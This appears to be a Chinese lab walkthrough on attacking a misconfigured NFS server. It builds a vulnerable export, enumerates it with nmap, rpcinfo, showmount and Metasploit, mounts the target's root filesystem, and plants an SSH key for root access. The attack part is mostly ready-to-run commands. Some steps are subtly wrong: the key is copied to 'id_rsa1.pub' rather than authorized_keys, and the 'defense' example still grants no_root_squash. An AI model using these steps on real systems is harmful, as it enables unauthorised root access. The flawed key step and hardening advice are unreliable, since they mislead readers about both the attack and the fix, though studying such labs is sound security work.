漏洞简介
NFS(Network File System,网络文件系统)是FreeBSD支持的文件系统中的一种,它允许网络中的计算机之间通过TCP/IP网络共享资源,在NFS的应用中本地NFS的客户端应用可以透明地读写位于远端NFS服务器上的文件就像访问本地文件一样,如今NFS具备了防止被利用导出文件夹的功能,但遗留系统中的NFS服务配置不当,则仍可能遭到恶意攻击者的利用
环境搭建
首先更新Ubuntu系统:
sudo apt-get update
sudo apt upgrade
安装NFS内核服务器软件包
sudo apt install nfs-kernel-server
配置NFS导出并编辑/etc/exports文件以定义要共享的目录和允许访问的客户端
sudo nano /etc/exports
将以下内容添加到文件中替换<client_IP>为客户端的IP地址(或使用通配符*允许所有IP访问)
/ *(rw,sync,no_root_squash)
各段表达的意思如下:
/ :共享的目录
* :指定哪些用户可以访问
* 所有可以ping同该主机的用户
192.168.1.* 指定网段,在该网段中的用户可以挂载
192.168.1.12 只有该用户能挂载
(ro,sync,no_root_squash): 权限
ro : 只读
rw : 读写
sync : 同步
no_root_squash: 不降低root用户的权限
随后重启nfs服务
sudo /etc/init.d/nfs-kernel-server restart
漏洞复现
发现NFS
NFS服务的默认开放端口为2049/TCP,因此我们可以借助Nmap来针对性的进行探测
nmap -T4 -A -v 192.168.204.160
确定挂载
我们可以通过rpcinfo命令来确定主机上是否运行或挂载了NFS服务
rpcinfo -p 192.168.204.160
列文件夹
我们可以使用以下命令检索给定主机的导出文件夹列表,这些信息将被用于访问这些文件夹
showmount 192.168.204.160 -e
当showmount命令与以下参数一起使用时,可以为我们检索到更多的信息,例如:
showmount IP // 连接的主机
showmount -d IP // 目录
showmount -a IP // 挂载点
Metasploit框架中也有一个模块可以用来列出导出文件夹
msf6 auxiliary(scanner/nfs/nfsmount) > show options
msf6 auxiliary(scanner/nfs/nfsmount) > set RHOSTS 192.168.204.160
msf6 auxiliary(scanner/nfs/nfsmount) > exploit
共享访问
导出的文件夹可以通过创建一个空的本地文件夹并将共享挂载到该文件夹来访问,如下所示:
mkdir /temp/
mount -t nfs 192.168.204.160:/ /temp -o nolock
当成功验证共享挂载后我们可以通过以下命令来列出所有的本地磁盘信息
df -h
此时我们可以像访问其他文件夹一样轻松的访问共享文件夹
cd /temp/
ls -alt
终端访问
在这里我们可以通过写SSH公钥的方式实现获取目标服务器的Shell权限:
cd /root/.ssh/
ssh-keygen -t rsa -b 4096
随后将公钥添加到授权密钥列表中:
cp /root/.ssh/id_rsa.pub /temp/root/.ssh/id_rsa1.pub
ssh -i /root/.ssh/id_rsa root@192.168.204.160
防御方法
设置/etc/exports对访问进行控制,例如:
/ export 192.168.204.160(rw,async,no_root_squash)
原创文章,作者:七芒星实验室,如若转载,请注明出处:https://www.sudun.com/ask/34089.html